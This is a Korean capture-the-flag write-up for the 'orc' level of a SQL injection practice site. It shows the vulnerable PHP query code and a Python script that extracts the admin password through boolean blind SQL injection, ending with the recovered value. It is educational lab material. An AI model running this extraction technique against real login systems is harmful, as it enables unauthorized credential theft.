query : {$query}
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
이 문제는 admin 의 실제 pw 를 구해야합니다. blind sql injection 입니다.
substr(pw, {자릿수}, 1) = {찾는 값}
의 결괏값이 참이라면 해당 자릿수에 찾는 값이 들어가있는것입니다.
Python으로 자동화하겠습니다.
import requests
import string
url = "<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=>' or id='admin'"
cookies = {
"PHPSESSID": "0ofrh7or1j5rjllojs6cis1ucb"
}
char = string.digits + string.ascii_letters
result=""
for i in range(1,10):
for j in range(48,122):
param="and ord(substr(pw,"+str(i)+",1)) = "+str(j)+"%23"
print(i, j)
response = requests.get(url+param, cookies=cookies)
if "Hello admin" in response.text:
print("Found = ", j);
result += chr(j)
break
print(result)
비밀번호는 095a9852
입니다. ( 위 코드에서 자릿수는 최대 10자리까지 실행하는데, 실제로는 비밀번호의 길이도 구해서 확실히 해야하지만 8번째 자리 이후 맞는 아스키 문자가 없다는 점으로 비밀번호를 유추했습니다. )